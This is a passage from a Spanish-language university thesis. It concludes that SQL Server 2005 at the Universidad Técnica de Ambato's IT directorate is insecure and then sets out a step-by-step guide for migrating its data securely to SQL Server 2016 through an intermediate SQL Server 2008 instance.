CONCLUSIONES Y RECOMENDACIONES

5.1 Conclusiones

SQL Server 2005 no cumple con los actuales estandares internacionales de
seguridad de la informacion que permitan garantizar el aseguramiento, la

confidencialidad e integridad de los datos de la DITIC.

SQL Server 2005 no esta dotado con las caracteristicas que le permitan ofrecer

un alto nivel de seguridad en escenarios en donde la universidad mas lo requiera.

La finalizacion del contrato de soporte con SQL Server 2005 y en consecuencia
la desactualizacién de la herramienta, dejarian a los datos de la DITIC

vulnerables para ataques informaticos exitosos.

La DITIC no cuenta con procesos de mantenimiento preventivo frente a nuevas
vulnerabilidades que podria presentar SQL Server 2005, vulnerabilidades que
podrian ser la puerta de acceso a intromisiones y un serio problema en la

seguridad de la informacion.

SQL Server 2005 en la DITIC, permite elevacion de privilegios y ejecucion
remota de codigo en el sistema, a través de vulnerabilidades detectadas en los

procedimientos extendidos: xp_cmdshell y sp_replwritetovarbin.

Los resultados de la investigacion confirmaron la hipdtesis “Las Caracteristicas
de SQL Server 2005 Sl influyen en la seguridad de los datos de la Direccion de
Tecnologia de Informacion y Comunicacion de la UTA”, factor que deja en
evidencia los potenciales riegos a los que esta expuestos los datos que se maneja
en la DITIC.
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5.2 Recomendaciones

¢ Implementar mecanismos de revision y verificacion del software utilizado en la
gestion de informacion de la DITIC con la finalidad de prevenir la utilizacion de

herramientas sin soporte e incluso con caracteristicas descontinuadas.

e Se recomienda realizar un cambio a la versién de SQL Server 2016, Gltima
version de SQL Server que cuenta con caracteristicas de alta seguridad de la
informacion segun estandares internacionales actuales y ademas cuenta con
actualizaciones y revisiones de seguridad (soporte). Factores que permitiran

mejorar a la DITIC el aseguramiento, la consistencia e integridad de sus datos.

e Elaborar una guia para migracion segura de datos desde SQL Server 2005 a SQL
Server 2016.
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CAPITULO VI

LA PROPUESTA

6.1 Datos informativos

6.1.1 Titulo de la propuesta

Guia para migracion segura de datos desde SQL Server 2005 a SQL Server 2016,

caso préactico Direccidn de Tecnologia de Informacion y Comunicacion de la UTA.
6.1.2 Institucion ejecutora

Universidad Técnica de Ambato

6.1.3 Beneficiarios

Direccién de Tecnologia de Informacién y Comunicacion de la UTA
Estudiantes

Docentes

6.1.4 Ubicacion

Pais: Ecuador

Provincia: Tungurahua

Canton: Ambato

Direccién: Av. Colombia y Chile

6.1.5 Equipo técnico responsable

Investigador: Ing. Alex Paucar
Personal de la DITIC de la UTA
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6.2 Antecedentes de la propuesta

La DITIC es la encargada del desarrollo de varios sistemas académicos para la
UTA, sistemas cuya informacion en su mayoria se encuentra almacenada y

gestionada por SQL Server 2005.

Una vez realizado el analisis sobre la utilizacion de SQL Server 2005 en la DITIC,
se logré determinar que sus caracteristicas no brindan la confianza necesaria en
cuanto a seguridad de informacion, factor que sumado a la terminacién de soporte
(actualizaciones y revisiones de seguridad) no permite cumplir con estandares
internacionales de aseguramiento (integridad, confidencialidad y disponibilidad) de

datos.

Se plantea como una propuesta de solucion al problema planteado, la
implementacion de una guia para migracion segura de datos desde SQL Server 2005
a SQL Server 2016 en la DITIC de la UTA, que direccione y asegure de alguna

manera el éxito de una migracion entre estas versiones de SQL Server.

6.3 Justificacion

Una migracion de base de datos no es sencilla, no es suficiente el conocimiento de
toda la infraestructura que rodea la base de datos (hardware y software), sino
también de la utilizacidn y seguimiento de una guia que sirva de soporte y apoyo
en todo el proceso de migracion; y permita ayudar en el aseguramiento de la

integridad, consistencia y disponibilidad de los datos migrados.

La implementacion de una guia para migracion segura de datos desde SQL Server
2005 a SQL Server 2016 en la DITIC de la UTA, permitira a la Direccidn no solo
asegurar los datos al realizar la migracidn entre estas dos versiones, sino también
servira de base para futuras migraciones en donde las caracteristicas de la version

utilizada de SQL Server no garanticen la seguridad de los datos en la Direccién.
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6.4 Objetivos

General

e Implementar una guia para migracion segura de datos desde SQL Server 2005 a
SQL Server 2016 en la Direccién de Tecnologia de Informaciéon y Comunicacion
de la UTA.

Especificos

e Analizar los tipos de migracion de base de datos que se pueden realizar entre
versiones de SQL Server.

e Desarrollar una guia para migracién segura de datos desde SQL Server 2005 a
SQL Server 2016.

e Aplicar la guia para migracion segura de datos desde SQL Server 2005 a SQL
Server 2016, en las bases de datos en la Direccion de Tecnologia de Informacion

y Comunicacion de la UTA.
6.5 Andlisis de factibilidad
6.5.1 Factibilidad técnica
Para implementar una guia para migracion segura de datos desde SQL Server 2005
a SQL Server 2016 en la DITIC de la UTA, el investigador cuenta con el
conocimiento necesario sobre migracion de base de datos y la DITIC cuenta con el
software y el licenciamiento requerido.
6.5.2 Factibilidad organizacional
La DITIC de la UTA preocupada por la seguridad de sus datos, ofrece las

facilidades de informacion y apoyo a través del personal dedicado a la gestion de

base de datos en la Direccion, para que la implementacion de una guia para
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migracion segura de datos desde SQL Server 2005 a SQL Server 2016 se la pueda

realizar.

6.5.3 Factibilidad econémica

La DITIC de la UTA, cuenta con el talento humano requerido y el equipamiento
necesario para poder implementar una guia para migracion segura de datos desde
SQL Server 2005 a SQL Server 2016.

6.6 Fundamentacion

6.6.1 Caracteristicas de SQL Server 2016 Enterprise

6.6.1.1 Seguridad a nivel de fila

Stacia, Cherry y D’ Anthony (2016), al respecto, sefialan que:

SQL Server 2016 maneja la seguridad a nivel de fila (SNF), las misma que
permite configurar tablas de manera que los usuarios vean solo las filas a las
que se les otorga acceso. Esta funcion limita las filas que se devuelven al
usuario, independientemente de las aplicaciones que las utilice. Puede usar
predicados para filtrar silenciosamente las filas a las que puede acceder el
usuario cuando ejecuta instrucciones INSERT, UPDATE o DELETE.

Ademas, puede usar los siguientes predicados de blogue para evitar que el
usuario escriba datos: después de insertar, después de actualizar, antes de
actualizar y antes de eliminar. Estos predicados de bloque devuelven un error
a la aplicacion que indica que el usuario esta intentando modificar filas que
no tiene acceso.

6.6.1.2 Always Encrypted

Para Stacia, Cherry y D’ Anthony (2016), Always Encrypted es una tecnologia de

cifrado del lado de la cliente manejada en SQL Server 2016, en la que:

Los datos se encriptan automéaticamente no solo cuando se escriben, sino
también cuando se leen por una aplicacion. A diferencia del cifrado de datos
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transparente, que cifra los datos en el disco, pero permite que los datos sean
leidos por cualquier aplicacion que los consulte, Always Encrypted requiere
que su aplicacion cliente use un controlador habilitado con cifrado
permanente para comunicarse con la base de datos.

Al usar este controlador, la aplicacion traslada de forma segura los datos
encriptados a la base de datos que luego puede descifrar solo la aplicacion que tenga
acceso a la clave de cifrado. Cualquier otra aplicacion que consulte los datos puede
recuperar los valores encriptados, pero no podra usar los datos sin la clave de
cifrado. Debido a esta arquitectura de cifrado, la instancia de SQL Server nunca ve

la version descifrada de los datos.

6.6.1.3 Enmascaramiento de datos dinamicos

Microsoft (2016b), manifiesta que, en SQL Server 2016:

El enmascaramiento dinamico de datos (DDM) limita la exposicion de
informacion confidencial ocultandolos a los usuarios sin privilegios. Se puede
usar para simplificar considerablemente el disefio y la codificacion de la
seguridad en la aplicacién.

El enmascaramiento dinamico de datos evita el acceso no autorizado a
informacion confidencial permitiendo que los clientes designen la cantidad
de informacién confidencial que se debe revelar, con un impacto minimo en
la capa de aplicacion. DDM se puede configurar en la base de datos para
ocultar la informacién adicional de los conjuntos de resultados de las
consultas de campos designados de una base de datos, sin modificar los datos
de esta dltima. ElI enmascaramiento dinamico de datos resulta facil de usar
con las aplicaciones existentes, ya que las reglas de enmascaramiento se
aplican en los resultados de la consulta. Muchas aplicaciones pueden
enmascarar informacién confidencial sin modificar las consultas existentes.

6.6.1.4 Auditoria

Peter (2016), manifiesta que:

La auditoria de una instancia de motor de base de datos de SQL Server 2016
0 de una base de datos individual implica el seguimiento y registro de los
eventos que se producen en el motor de base de datos.
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La auditoria de SQL Server 2016 puede asociarse con una 0 mMas
especificaciones de auditoria de servidor y especificaciones de auditoria de
base de datos. Las especificaciones definen la actividad que captura la
auditoria a nivel de instancia y de base de datos, respectivamente. (p. 35)

Los eventos auditados se pueden escribir en los registros de eventos o en los
archivos de auditoria.

6.6.1.5 Administracion extensible de claves

“SQL Server 2016 proporciona las funciones de cifrado de datos junto con la
Administracion Extensible de Claves (EKM). Las claves de cifrado utilizadas para
cifrar datos y claves se crean en contenedores transitorios de claves y se deben
exportar desde un proveedor antes de que se almacenen en la base de datos”
(Microsoft, 2017a).

La Administracion extensible de claves habilita las claves de cifrado que protegen
los archivos de base de datos para que se almacenan en un dispositivo externo, como
puede ser una tarjeta inteligente, un dispositivo USB 0 un médulo EKM/Médulo de
seguridad por hardware (HSM). Los datos se pueden cifrar utilizando claves de
cifrado a las que solo tiene acceso el usuario de la base de datos en el médulo EKM/
HSM externo.

6.6.1.6 Roles definidos por el usuario

“SQL Server 2016 proporciona un conjunto de funciones de servidor integradas.
Estas funciones permiten asignar permisos de nivel de instancia a los inicios de
sesion que tienen requisitos comunes. Se llaman roles fijos del servidor y son:
sysadmin, bulkadmin, dbcreator, diskadmin, processadmin, public, securityadmin,

serveradmin y setupadmin” (Peter, 2016, p. 24).

Adicionalmente a los roles fijos de servidor, SQL Server 2016 permite crear roles

de servidor personalizados, para ayudarle al administrador a otorgar un conjunto
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personalizado de permisos a un grupo de inicios de sesion, simplificado y ayudando

en la tarea de proporcionar y administrar el SGBD.

6.6.1.7 Bases de datos independientes

Microsft (2016c), manifiesta que, en SQL Server 2016:

Una base de datos totalmente independiente incluye todos los metadatos y
opciones de configuracion necesarios para definirla y no tiene dependencias
de configuracion de la instancia de Motor de base de datos donde esté
instalada. En versiones anteriores de SQL Server, la separacién de una base
de datos de la instancia de SQL Server podria necesitar mucho tiempo y un
conocimiento detallado de la relacion entre la base de datos y la instancia de
SQL Server.

Cualquier entidad definida por el usuario que solo se base en las funciones
que residen dentro de la base de datos se considera totalmente independiente.
Cualquier entidad definida por el usuario que se base en funciones que residen
fuera de la base de datos se considera dependiente.

Las ventajas de usar una base de datos independientes son:

e Cuando se mueve una base de datos de una instancia a otra no hay
inconvenientes para su funcionamiento adecuado, porque la base de datos
trasladada cuenta con toda la informacion (metadatos y demés configuraciones)

definida dentro de la misma base de datos.
e La creacion de usuarios contenidos permite al usuario conectarse directamente a
la base de datos independiente. Esta es una caracteristica muy importante en

escenarios de alta disponibilidad y recuperacion ante desastres. Los usuarios

podran conectarse al servidor secundario sin crear nuevos inicios de sesion.

6.6.1.8 Cifrados para copias de seguridad

“SQL Server tiene la capacidad de cifrar los datos mientras crea una copia de

seguridad. Al especificar el algoritmo y el sistema de cifrado (un certificado o una
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clave asimétrica) al crear una copia de seguridad, puede crear un archivo de copia
de seguridad cifrado” (Microsoft, 2016d).

Es muy importante realizar una copia de seguridad del certificado o la clave
asimétrica, y preferiblemente en almacenarlo en una ubicacion diferente de la que
se usé para cifrar el archivo de copia de seguridad. Sin el certificado o la clave
asimétrica, no se podra restaurar la copia de seguridad, lo que deja inutilizable el

archivo de copia de seguridad.

6.6.1.9 Comparativa entre SQL Server 2005y SQL Server 2016

En el cuadro 17, se ilustra una comparativa de las caracteristicas de seguridad entre
SQL Server 2005 y SQL Server 2016.

SQL Server 2016 SQL Server 2005

Seguridad a nivel de fila Seguridad a nivel de Tabla, vista, funcién, etc.

Always Encrypted (cifrado permanente),

tecnologia de cifrado del lado del cliente. Cifrado a nivel de servidor.

No soporta, se lo puede hacer mediante

Enmascaramiento de datos dinamicos A
programacion.

SQL Server Audit Auditoria modo C2
Permite realizar auditoria para eventos de No es parametrizable, se audita todo o nada.
servidor y base de datos Mayor consumo de especio en disco

Se puede especificar las actividades o eventos | Disminucion en el rendimiento del SGBD
a auditar.

Administracion extensible de claves, El motor de base de datos posee una
almacenamiento externo de claves: EKM, infraestructura interna de cifrado y
HSM, dispositivo USB, etc. administracion de claves.

Cuenta con roles fijos de servidor. No se
Roles definidos por el usuario puede agregar ni eliminar roles a nivel de
servidor.

Los metadatos y configuraciones de las bases
Bases de datos independientes de datos pueden provenir de objetos externos.
Bases de datos Dependientes

Cifrados para copias de seguridad No soporta el cifrado de copias de seguridad

Cuenta con soporte EL soporte finalizo en abril de 2016

Cuadro 17. Comparativa SQL Server 2005 — SQL Server 2016
Elaborado por: Investigador
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Se denota en el cuadro 17, mejoras en las caracteristicas de seguridad ofrecidas por
SQL Server 2016 respecto a SQL Server 2005, como; mayor granularidad en los
niveles de seguridad, cifrado permanente, auditoria personalizable, administracion
extensible de claves y cifrado de respaldos; todo esto sumado a que Microsoft
Unicamente ofrece soporte (actualizaciones y revisiones de seguridad) a SQL Server
2016.

6.6.2 Migracion de base de datos

Definiciones

“La migracion de base de datos es la seleccion, preparacidn, extraccion,
transformacion y el movimiento de datos apropiado; con la calidad adecuada, en el

lugar propicio y en el momento correcto” (Morris, 2012).

“La migracién de base de datos es el proceso de transferencia de datos entre
almacenes, en otras palabras, es el proceso de mover los datos de la antigua base de

datos a una nueva base de datos” (Paygude & Devale, 2013, p.599).

“También supone reescribir sentencias de lenguaje de consulta estructurada (SQL)
o0 incluso procedimientos almacenados (SP) de légica de negocio, con la finalidad

de adaptarlos al nuevo servidor de destino” (Celis, 2014, p.142).

Los proyectos de migracion de datos pueden surgir de varias formas.

La forma clasica es cuando un nuevo sistema esta siendo implementado y necesita
ser alimentado con datos del sistema anterior. También hay programas de
consolidacién de sistemas, que pueden ser generados por fusiones de empresas o
por normalizacion. Hay actualizaciones del sistema, y éstas también requieren la

migracion de datos (Morris, 2012).
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6.6.2.1 Tipos de migracién de base de datos

Microsoft (2017b), considera que:

Existen varios enfoques que se deben considerar a la hora de planear la
actualizacién o migracion del Motor de base de datos de una version previa de SQL
Server a una nueva version con el objetivo de minimizar el tiempo de inactividad y

los riesgos.

e Actualizacion local
e Migracion a una nueva instalacion

e Actualizacion gradual

Actualizacion local

Con este tipo de actualizacion, el programa de instalacion de SQL Server actualiza
la instalacion existente reemplazando la instancia de SQL Server por la nueva
version, después, actualiza cada una de las bases de datos de usuario y del sistema.
Este tipo de actualizacion es el mas sencillo, conlleva la menor cantidad de tiempo

de inactividad, pero no se aplica en todos los escenarios (Micosoft, 2016e).

En el caso de SQL Server 2016, Micosoft (2016e), detalla los siguientes escenarios

no admitidos en una actualizacion local:

¢ No se admiten instancias de SQL Server 2016 de distintas versiones. Los
nameros de version de Motor de base de datos, Analysis Services y
Reporting Services deben ser los mismos en una instancia de SQL Server
2016.

e SQL Server 2016 solo esta disponible para plataformas de 64 bits. No
puede actualizar una instancia de 32 bits de SQL Server a 64 bits nativo
con el programa de instalacion de SQL Server.

¢ No puede agregar caracteristicas nuevas durante la actualizacion de una
instancia existente de SQL Server. Después de actualizar una instancia de
SQL Server a SQL Server 2016, puede agregar caracteristicas mediante el
programa de instalacion de SQL Server 2016.
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Ademas, SQL Server solo admite la actualizacion local de las siguientes
Versiones:

e SQL Server 2008 SP4 o posterior

e SQL Server 2008 R2 SP2 o posterior
e SQL Server 2012 SP2 o posterior

e SQL Server 2014 o posterior

Se puede denotar que la version de SQL Server 2005 no permite mencionada

actualizacion local.

Migracion a una nueva instalacion

“Con este enfoque, se conserva el entorno actual a la vez que se crea un entorno de
SQL Server nuevo, con frecuencia en nuevo hardware y con una nueva version del
sistema operativo. Después de instalar la nueva version, debe realizar una serie de
pasos a fin de poder realizar la migracion y minimizar el tiempo de inactividad”
(Microsoft, 2017b).

“Algunas aplicaciones dependen de informacion, entidades u objetos que se
encuentran fuera del ambito de una sola base de datos de usuario, a los que se
denomina objetos de sistema. Cualquier elemento almacenado fuera de la base de
datos de usuario que sea necesario para el funcionamiento correcto de dicha base
de datos debe estar disponible en la instancia del nuevo servidor” (Microsoft,
2017D).

“Una vez que el nuevo entorno de SQL Server cuente con los mismos objetos de
sistema que el antiguo, deberd migrar las bases de datos de usuario con un método
que minimice el tiempo de inactividad en dicho sistema” (Microsoft, 2017b).

Actualizacion gradual

“Una actualizacion gradual consiste basicamente en la actualizacion de varias

instancias de SQL Server en un orden determinado, ya sea mediante una
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actualizacion local en cada instancia de SQL Server existente o efectuando una
actualizacién con una nueva instalacion a fin de facilitar la actualizacion del
hardware o el sistema operativo como parte del proyecto de actualizacion”
(Microsoft, 2017D).

6.6.2.2 Proceso de migracion

Segun Gozalez (2014), para la realizacion de una migracion segura se debe

descomponer el proceso de migracion en tres pasos:

Extraccion, Transformacion y Carga (ETL): en este proceso, es donde
realmente se trasladan los datos desde las bases de datos iniciales. Se realiza
una transformacion y purga de datos para ponerlos en un formato compatible
y aceptable para el sistema al cual se migran los datos y, finalmente, se realiza
la carga a la nueva base de datos.

Extraccion
Es el primer paso del proceso, en el que se procede a extraer los datos que se
quiere migrar.

Transformacion

En esta fase de transformacion se aplica a una serie de reglas o funciones
sobre los datos, que previamente se han extraido para transformarlos en otros
que se pueden cargar.

Carga
Aqui los datos procedentes de la fase de transformacion se cargan en la base
de datos destino

“Todo proceso de migracion acostumbra a disponer de tres pasos: extraccion de la
informacion, transformacion de la informacién y carga de la informacion”. (Vilela,
2016).

6.6.2.3 Nivel de compatibilidad SQL Server
Segun (Microsoft, 2017), el nivel de compatibilidad es una opcién que ofrece toda

version de SQL Server, y fue implementada con la finalidad de ayudar en los

procesos de migracion.
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En la tabla 2, se puede observar las versiones de

compatibilidad, junto a los niveles soportados.

SQL Server y su nivel de

Version Nivel de compatibilidad Soporta
asignado
SQL Server 2016 130 130, 120, 110, 100
SQL Server 2014 120 120, 110, 100
SQL Server 2012 110 110, 100, 90
SQL Server 2008 R2 100 100, 90, 80
SQL Server 2008 100 100, 90, 80
SQL Server 2005 90 90, 80
SQL Server 2000 80 80

Tabla 2. Niveles de compatibilidad SQL Server
Fuente. https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-database-transact-sql-compatibil

ity-level

Cada nivel de compatibilidad registra algin cambio, aumento o eliminacion de

caracteristicas (palabras reservadas, tipos de datos, incremento de funciones,

procedimientos, etcétera); las mismas que deben ser analizadas cuando se produzca

una migracién y se modifique el nivel de compatibilidad de las bases de datos.

Palabras reservadas

Las palabras reservadas son uno de los cambios que generalmente es evidente en

los diferentes niveles, en la tabla 3 se detalla las palabras reservadas introducidas

en cada nivel de compatibilidad:

Nivel de compatibilidad Palabras reservadas

130 No determinado

120 Ninguna

110 WITHIN GROUP, TRY_CONVERT,
SEMANTICKEYPHRASETABLE,
SEMANTICSIMILARITYDETAILSTABLE,
SEMANTICSIMILARITYTABLE

100 CUBE, MERGE, ROLLUP

90 EXTERNAL, PIVOT, UNPIVOT, REVERT, TABLESAMPLE

Tabla 3. Palabras reservadas SQL Server
Fuente: https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-database-transact-sql-compatibil

ity-level
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6.7 Metodologia

Para la implementacion de una guia para migracion segura de datos desde SQL
Server 2005 a SQL Server 2016, se optd por seguir etapas estandares que todo
proyecto de migracion las tiene, las etapas de extraccion, transformacion y carga.
Ademas, se incluyeron las etapas de analisis, pruebas y control de desastres, con la

finalidad de asegurar el traslado seguro de datos.

6.7.1 Guia para migracién segura de datos desde SQL Server 2005 a SQL
Server 2016

6.7.1.1 Introduccion

La DITIC de la Universidad Técnica de Ambato es la encargada del control,
almacenamiento y seguimiento de la informacién generada por los sistemas de
informacion de la universidad, gestion que se la realiza en su mayoria a través del
SGBD SQL Server.

SQL Server es un producto soportado por Microsoft y que a través de versiones es
lanzado al mercado, versiones cuyo ciclo de vida puede llegar a su fin y es necesario
una migracion o actualizacion hacia nuevas versiones soportadas y mejoradas segun
requerimientos actuales. La seguridad es la mayor preocupacion al terminar el ciclo
de vida de SQL Server ya que el software no contara con parches o actualizaciones
de seguridad y le dejaran vulnerable a nuevas formas de ataques informéticos y a

fallos por errores no detectados.

Un proceso de migraciéon de base de datos puede resultar bastante complejo e
incluso llegar al fracaso, si es que no se siguen los debidos procedimientos, que
permitan garantizar que la base de datos migrada muestre caracteristicas de
confiabilidad, integridad, veracidad y consistencia en sus datos; en otras palabras,

que se logre una base de datos migrada con éxito.
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6.7.1.2 Alcance

La presente guia aplica a la migracion de base de datos desde SQL Server 2005 a
SQL Server 2016.

6.7.1.3 Responsables

El Director de Tecnologia de la empresa o institucion es el responsable de hacer

cumplir los procedimientos detallados en la presente guia.

El Responsable del Area de Gestion de Bases de Datos junto con su personal, son

los encargados de coordinar y de aplicar los procedimientos de la presente guia.
6.7.1.4 Definiciones

Instancia

Es un servicio de SQL Server que administra varias bases de datos. Las aplicaciones
se conectan a la instancia para realizar el trabajo en una base de datos.

Service Pack

Es un conjunto de actualizaciones que corrigen y mejoran aplicaciones y sistemas
operativos.

Script

Es un conjunto de 6rdenes guardadas en un archivo de texto, generalmente muy

ligero, que es ejecutado por lotes o linea a linea, en tiempo real por un intérprete.

6.7.1.5 Procesos

Para la realizacion de la migracion se contempla los siguientes procesos:

a. Analisis
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b. Pruebas
c. Control de desastres

d. Extraccion, transformacion y carga de datos

a. Analisis

Levantamiento de requerimientos

Una vez acogida la solicitud formal de migracién o actualizacion de bases de datos
SQL Server, el area de Gestion de Base de Datos, debera realizar el correspondiente

levantamiento de requerimientos.

Para realizar el levantamiento de requerimientos, el responsable deberé basarse en

los siguientes aspectos:

e Que bases de datos seran migradas

e Periodos de mayor demanda, ¢con qué frecuencia? y ¢que? aplicaciones utilizan
las bases de datos a ser migradas. Con el objetivo de identificar y establecer

periodos de inactividad necesarios en un proceso de migracion.

¢ Identificar los componentes internos de la o las bases de datos a ser migradas.

o Tablas

o Procedimientos

o Triggers

o Funciones

o Reglas

o Tipos de datos

o Vistas

o Usuarios de base de datos

o Roles de base de datos
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¢ Identificar los componentes externos de la o las bases de datos a ser migradas.

o Inicios de sesion

o Roles de servidor

o Vistas externas: Consultas con fuentes (tablas o vistas) que pudieran estar en
diferentes bases de datos y que pudieran no estar presentes en el nuevo
entorno.

o Servidores vinculados: Enlaces a bases de datos gestionadas en diferentes
servidores

o Trabajos: Procesos automaticos ejecutados por SQL Server.

o Tablas maestras

o Sindénimos

o Otros

e Se va a realizar una depuracion de los datos inconsistentes o se moveran todos

los datos.
Planificacion de la migracion
En esta etapa se debe especificar el alcance que tendra la migracion, se debe
considerar que bases de datos se van a migrar y el tipo de migracién que se va a

realizar.

El responsable de la migracion de base de datos debera realizar una planificacion

basada en objetivos, en la que debera constar tiempos, responsables y actividades.

Se recomienda que la planificacion deba ser concisa y precisa, segun el cuadro 18.

Objetivos Actividad Fecha Inicio Fecha Fin Responsables

Cuadro 18. Matriz de planificacion
Elaborado por: Investigador
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El Director de Tecnologia sera el encargado de monitorear el cumplimiento de la
planificacién de la migracion, que todas las actividades y objetivos se cumplan de
acuerdo con los tiempos establecidos. Si existiera algun retraso en las actividades
planificadas, éstas deberan contar con su respectiva justificacion debidamente

documentada.

Requerimientos de hardware y software

El responsable de la migracion se encargara de identificar y especificar las
caracteristicas del hardware donde se implementara SQL Server 2016. En este
procedimiento se identificard: disco duro (capacidad de almacenamiento y
tecnologia), memoria RAM, procesador (Velocidad, tipo, cache interna, nimero de

ndcleos, etc.).

El responsable de la migracion se encargara de identificar y especificar las
caracteristicas del software donde se implementard SQL Server 2016. En este
procedimiento se identificard: el sistema de archivos (NTFS, ReFS, etc.); el
particionamiento; la arquitectura, versién y ediciéon del Sistema Operativo. Es
necesario que la plataforma del sistema operativo sea Windows, versién servidor y
con arquitectura de 64 bits (debido SQL Server 2016 y futuras versiones no estan
disponibles para sistemas operativos de 32 bits), ademas es necesario que el

hardware también soporte mencionadas requerimientos.

b. Pruebas

La fase de pruebas se encuentra presente en todo el proceso de migracion, se
propone al responsable de la migracion crear escenarios intermedios en donde
valide y someta a los datos a ciclos de pruebas y simulaciones de carga, antes de
realizar la carga de datos final al nuevo servidor de base de datos y que los datos

migrados lleguen al destino en forma segura.
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Los posibles problemas que se pudieran detectar estan relacionados a los niveles de
compatibilidad entre estas dos versiones (caracteristicas en desuso o caracteristicas
no incluidas en SQL Server 2016) y las caracteristicas de las bases de datos

migradas. Se recomienda utilizar pruebas de unidad para la deteccion de errores.

Pueden existir errores de facil deteccion, que ocasionen la no ejecucion o la no
restauracion del respaldo en SQL Server 2016 y su solucion es necesaria para la
continuidad de la migracion; pero puede existir errores que provoquen que el
resultado entregado no sea el correcto y no generen alertas, por lo que es importante
verificar que cada uno de los componentes de las bases de datos migradas entreguen

los resultados esperados.

¢. Control de desastres

Transportar datos de una plataforma a otra implica riesgos en la seguridad de los
mismos, riesgos que comprometen el activo mas valioso que puede tener una
empresa o institucion. A continuacion, se detallan medidas que permitiran reducir

el riesgo en la seguridad de los datos:

1. Respaldos de base de datos

El Gltimo respaldo de la base de datos, el que serd cargado en el nuevo entorno
(SQL Server 2016), no deberd contener transacciones en linea generadas por
usuarios que en ese instante estén conectados a mencionada base de datos. La
omision de esta medida podria ocasionar que el nuevo entorno no contenga la base
de datos con toda la informacidn, ocasionando perdida e inconsistencias en los

datos.
Para asegurar que la base de datos origen (SQL Server 2005) no contenga

transacciones en linea, configurar la base de datos en modo “SINGLE USER” antes

de realizar el respaldo a ser migrado.

71



2. Base de datos origen y destino en funcionamiento

Otra medida a tomar en cuenta es nunca dejar en funcionamiento las base de datos
origen (SQL Server 2005) y destino (SQL Server 2016), se recomienda que, cuando
la base de datos destino entre en produccién necesariamente la base de datos origen
debe ser deshabilitada, por lo menos hasta asegurarnos que todas las cadenas de
conexion que vinculan a la base de datos origen hayan sido actualizadas, con esto
garantizamos que ninguna aplicacion consuma o escriba en la base de datos origen

y por ende cause inconsistencias en los datos.

3. Seguridad de respaldos

En un proceso de migracion los respaldos de las bases de datos se encuentran méas
vulnerables 0 expuestos a terceros que en otras situaciones, es posible que, por el
hecho de realizar validaciones, simulacion de escenarios en ambientes de prueba,
el responsable de la migracion se encuentre proclive a errores que permitan el
acceso no autorizado. Se recomienda seguir estrictamente las politicas de la
direccién en cuento al manejo de respaldos y si no hubiera una politica o norma,

seguir las siguientes medidas:

e Los respaldos generados o entregados al personal deberan ser registrados en
documentos para el efecto, en el que conste el responsable, fecha de entrega y

motivo.
e Los ambientes de prueba creados para la migracion deberan contar con controles
de acceso (usuario y contrasefia) y deberan ser eliminados luego de la

culminacion del proceso de migracion.

e Lamigracién deberé siempre realizarse en el area de trabajo, bajo ninglin motivo

los respaldos podran salir de la institucion.
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d. Extraccion, Transformacion y Carga de datos

Realmente no existe una ruta de migracion directa a SQL Server 2016 desde SQL
Server 2005, pero se puede llegar mediante el uso de SQL Server 2008 como el

paso intermedio o provisional de migracién de forma segura.

Los siguientes pasos ayudaran a migrar las bases de datos desde SQL Server 2005
a SQL Server 2016, estos pasos son esencialmente para poder cumplir los objetivos
dentro de las necesidades de la empresa o institucion.

1. Instalar una copia separada de SQL Server 2016

El primer paso es instalar una instancia independiente de SQL Server 2016. Este
sera tipicamente en el hardware y sistema operativo especificado en el paso
“Requerimientos de hardware y software”. Si la nueva instalacion se encuentra en
la misma red que el sistema original, se necesitara un nombre de instancia diferente,

la misma que puede ser cambiada mas adelante.

Se recomienda que la codificacion de caracteres del servidor SQL Server 2016 sea

la misma respecto al servidor SQL Server 2005 (servidor origen). Ver gréfico 35.

5 SQL Server 2016 CTP2.0 Setup

Server Configuration

Specify the service accounts and collation configuration

Product Key Service Accounts  Collation
License Terms

Global Rules Database Engine:
Microzcft Update Customeze
Install Setup Files Latin) -General, cate-insensitrve, accent-sensitive. kanstype-insenstive. width-
Install Rules insensitive for Unicode Data, SQL Server Sort Order 52 on Code Page 1252 for non
Setup Role Unicode Data

Feature Sedection

Feature Rules

Instance Configuration

Sesver Configuration
Database Engine Configuratson
Feature Configuration Rules
Ready to Install

Instalation Progeess

Complete

< Back Next > Cancel Help

Gréfico 35. Configuracién COLLATE
Elaborado por: Investigador
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2. Asegurar que SQL Server 2005 esta en el Gltimo Service Pack (Service Pack 4).
Se puede comprobar el nivel del Service Pack utilizado por SQL Server, realizando

la siguiente consulta:

SELECT SERVERPROPERTY  (‘productversion’), SERVERPROPERTY
(‘ProductLevel’), SERVERPROPERTY (‘edicion’)

Si el nivel del Service Pack es inferior a 4, entonces se necesitara la actualizacion
de Service Pack antes de continuar. Con esto se asegura que el nivel de
compatibilidad de SQL Server 2005 tenga las actualizaciones y correcciones

necesarias para la migracion.
3. Realizar una copia de seguridad de todas las bases de datos a ser migradas
Después de haber actualizado el sistema de origen a SQL Server 2005 Service Pack

4, se debe realizar una copia de seguridad completa de todas las bases de datos que

se migraran. Ver grafico 36
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Gréfico 36. Modo de usuario
Elaborado por: Investigador
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4. Instalar una copia intermedia de SQL Server 2008 o SQL Server 2008 R2.

Esta copia solo sera utilizada para convertir las copias de seguridad del formato
anterior de SQL Server 2005 (nivel de compatibilidad 90) que no pueden ser
restauradas a SQL Server 2016 a un formato compatible. La instalacion de la
instancia SQL Server 2008 / R2 se la puede realizar en cualquier sistema operativo,
pero seria mas conveniente que la instalacion de ésta se la haga en el mismo sistema

operativo donde se encuentra SQL Server 2016 (servidor destino).

5. Instalar el Service Pack adecuado en SQL Server 2008 o SQL Server 2008 R2

provisional.

Se puede comprobar el nivel del Service Pack utilizado por SQL Server, realizando

la siguiente consulta:

SELECT SERVERPROPERTY  (‘productversion’), SERVERPROPERTY
('ProductLevel’), SERVERPROPERTY (‘edicion’)

Si se utiliza SQL Server 2008, entonces se debe instalar el Service Pack 2. Si se

utiliza SQL Server 2008 R2, entonces se necesita el Service Pack 1.

6. Restaurar la copia de seguridad de base de datos SQL Server 2005 en el sistema

provisional SQL Server 2008/R2 que ha sido instalado provisionalmente.

7. En este punto las bases de datos SQL Server 2005 se habran restaurado al 100%
en SQL Server 2008/R2 y se habran convertido en un formato mas reciente. El
siguiente paso es realizar una copia de seguridad de estas bases de datos
provisionales (SQL Server 2008/R2) para su posterior restauracion en SQL Server
2016. Una vez completada estas copias de seguridad, es recomendable eliminar la

instancia.

8. El siguiente paso es tomar las copias de seguridad de las bases de datos de SQL
Server 2008 / R2 y restaurarlas a SQL Server 2016.
